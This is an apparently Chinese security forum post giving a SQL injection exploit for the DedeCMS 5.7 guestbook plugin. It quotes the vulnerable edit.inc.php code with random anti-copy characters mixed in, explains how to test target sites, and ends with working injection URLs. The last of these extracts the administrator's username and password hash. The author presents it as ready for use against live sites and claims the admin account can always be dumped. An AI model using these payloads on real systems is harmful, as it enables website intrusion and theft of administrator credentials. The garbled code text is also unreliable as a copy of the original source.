找回密码
 立即注册
查看: 4689|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
% L" n- w% G" W7 h5 c* C: U. X# G7 ^" w8 R. ~
漏洞文件edit.inc.php具体代码:- L: t- d" r  i* z7 J# O; u
. k2 H# Q! Q; z  I
< ?php  0 C; q, b; X6 S3 j" N- {
- @% y2 o; J) E; ^# i4 j* @9 n% K
if(!defined('DEDEINC')) exit('Request Error!');  
' b% ]1 j/ M( U7 V8 i9 N( O& A: q. k; ^
   
/ ?2 Y5 @6 G) g+ D/ f* Y
8 I' }8 x4 ~9 s( y0 hif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  1 i0 T/ w; n- ], E
1 [; L' U2 @$ c& j7 E7 O2 _6 e2 K1 a
else $GUEST_BOOK_POS = "guestbook.php";  
. ]+ ^2 X; E$ t( x
- b) n! R/ A6 X& E" ^$ l0 m/ f   # E6 H. r9 r; q. U1 Z* X- O7 C
$ o/ p* }( K4 n* Z+ E( \! {6 g5 v
$id = intval($id);  9 G9 d' e3 R5 z+ f8 R
; Q& f. |+ }. ?, [: Z6 R7 L
if(empty($job)) $job='view';  
, [1 E) a, V0 W: _3 U4 N$ E9 T
5 _; @0 E/ C3 I+ s   
3 A' ^& N: R7 L9 ?
- M. I+ J( o! rif($job=='del' && $g_isadmin)  
  {# {5 M# x' Y' v: B, x; E% r% L& B) i0 O4 G) ]" M7 w
{  
6 I% |0 V  j* g$ Q$ N4 k" k& _, L$ r
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
3 |1 f! t/ z# e$ X- x( u! t, i6 i" ^
+ Y7 Z# k# P, n$ X1 O/ XShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  ; |& r! j) h8 Y2 [. h$ M

* F2 A5 Y1 C. ^( _/ K8 J# |2 {exit();  
2 y0 P; V, V1 ]- n. }
! Q2 B2 x% |  C; d}  
- e2 v+ n, i4 m/ k' i% ], ^. i. O' k% W* K5 E
else if($job=='check' && $g_isadmin)  
; h8 y( }' ]/ T! Y
% Z8 f& z! |' C# n! m/ \1 j{  
$ p- l* M, E) z: n+ r) ]. w  P7 S0 ~  r3 a& r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  " G8 i: y" Y, l. _$ _

' R* b. M+ U3 F& ?/ U4 W) A; ]ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ! V; v: s& D9 g) S" ~
) T# e8 \: J" A7 T, K
exit();  
- b* \2 Y8 g9 _; y7 B2 y3 @: k  i* f8 ?" s2 r. c2 |' {1 I5 l
}  & z+ h& W* T( R9 ^: N2 C! d) D+ o
; x% O  n$ ?. \- V9 Q
else if($job=='editok')  9 a- r5 ]- [  ~

7 f0 x2 g) E/ r7 [9 {{  
3 V- D6 U5 d' d6 a# W% H5 r6 U9 T' j) {- X6 V, Z' \4 K
$remsg = trim($remsg);  
2 p% o4 ]- u( v: H* s* o& g
! s, \( T1 Q, ~if($remsg!='')  
# e. {7 A/ C$ O) ~$ }* f& D/ P( l, D
{  / d/ a" K0 O% n: M9 C3 U" T: t

0 m" s& t: K/ e//管理员回复不过滤HTML By:Errorera blog:errs.cc  5 B0 e: W- }% t4 M

) S9 t  G- g7 M5 u" sif($g_isadmin)  
' w8 ]. u- i& W& ~
, r& G" q$ a0 `7 y$ s* E{  & T: R3 V1 |: F

* W6 y9 g' `/ I. V) q2 q* T; M; D- c$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
0 ~" p3 ^% I1 {: S( o* Q
3 b0 X$ e+ m9 D//$remsg <br /><font color=red>管理员回复:</font> }  9 [8 O7 q. l9 v3 b# ]8 e) e4 P
$ N5 H9 _3 ^6 x+ t" y5 c
else
! o6 i- I) k8 M( M1 n) A8 i9 B) j$ z' Q7 W
{  3 |' Q. d% L" i! N- W& O

. h/ d& I, I) \+ \3 F( U+ [& R$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  0 L& O4 j3 x$ f3 ?, }
3 o# T1 ^, @8 s9 `5 i9 \3 g: ]
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  $ ]$ d$ p, @" b9 D" p: E

. W. m" ?( k2 r$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
/ ^$ ]# j0 I5 Q& z% I& z( V
) \4 Q# Q: q* F  k! ^/ t. w$ W1 v$msg = $oldmsg.$remsg;  
- T4 d- \! _: M/ V; v
2 D# ^5 j) X4 y0 T% m}  
6 x, q' X; E" Q" S  l& F# g9 Q  \
; o) c2 {' A& a9 V' ?2 a}  ! w- j0 w: T9 `3 n; ~3 d
( P! c( V0 P* M, c2 t1 k" K
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
$ R2 |+ m. a% G: ~3 ?1 M, M: ]
1 z0 z" x: p4 F. f) [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ' Z) [9 N; q. `9 k! D  n! E

/ U  b, y7 [( K; D9 [ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
& B! |4 Y7 E) p8 T  `; \2 p- s, J
6 r- G7 x; z. X  \  w! C( H0 yexit();  
+ X- ?1 M! g+ n5 I" o% I
# N, k# h. b" p" P) w}  
7 L7 K* ^" O5 \5 c1 `/ s, z  j  ^0 u% m1 W
//home:www.errs.cc  # a" n$ {+ C" l! S' y

9 `5 \+ C9 p9 y( k  L! Rif($g_isadmin)  ' e& U! k2 T9 j/ e$ l

/ v- e9 ]) {! d( r5 l7 H{  
% B' ~: E& l6 g0 M
* D$ t1 B0 L) ?+ W. a$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 \6 ]8 m  T) Z/ A  B, Z+ Z4 M8 X( s. m8 \: F: a7 B' N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
2 ^2 H: l$ m% U( E" @  \3 Z; g: z! e( C/ J7 z7 B
}  + @; _0 I9 g; k* P+ O, P3 e/ H# d7 k3 J

/ R; p) W! i- u3 p3 ~+ {% Y* Gelse 1 ?/ {  W9 b0 u% q# Y

" e0 r. l, @" @  C: \2 r" T{  - F8 z( O, T9 d  c5 B

$ w$ v$ u+ y. j) k9 g. D$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
; K: ]* U- `0 |) \
) }) T% c0 u3 G- s: a/ u4 o- @0 brequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  , t9 y. T; i$ {- A/ z! b
6 O  t3 ?1 a' ]0 q* k# x; J
} 漏洞成功需要条件:& O8 t+ n3 G: N  o' b; n3 h
1. php magic_quotes_gpc=off/ Z' J( a# q0 \2 L( `7 G5 Z" h+ i
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
' V6 N. ?$ k4 F7 _4 \: }) Z; l3 s6 I  f3 e
怎么判断是否存在漏洞:9 `4 o* v5 Q1 c/ D+ C/ \) E6 X& v
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
7 h8 a1 u9 ?9 ^* d然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID3 p3 n+ y& T9 |3 n& c; u
访问:/ W4 G6 E' [# W* e3 \$ P6 |

" `0 c4 c) X1 k" A4 twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
  _# d# t  u3 }5 \* z0 [跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 t- I. K2 k9 n# o7 @/ @) i+ M7 m. Q$ v  {2 W8 k# K

( x+ b/ z+ \  w9 Y/ [* s明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 b: t2 _6 n2 O" c$ _2 M如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
# Z0 W; p  w. @. i- {那么再次访问" s  V1 l: @) {6 y" T" O
/ m8 P/ {/ C2 z  i( @9 y2 ^5 r2 o0 Y% U
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
( T$ z/ j8 O5 v/ j2 i
' G) w( W0 W$ K4 a) \% o% b大概利用就是这样,大家有兴趣的多研究下!!
8 l2 u! m7 a/ Z  z; Q9 Z" p+ ^( w
- b+ k, ^6 j, H3 m最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
5 A6 O* e6 {, t2 j3 O5 R- {% G
; O+ f. o2 o3 r7 nview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表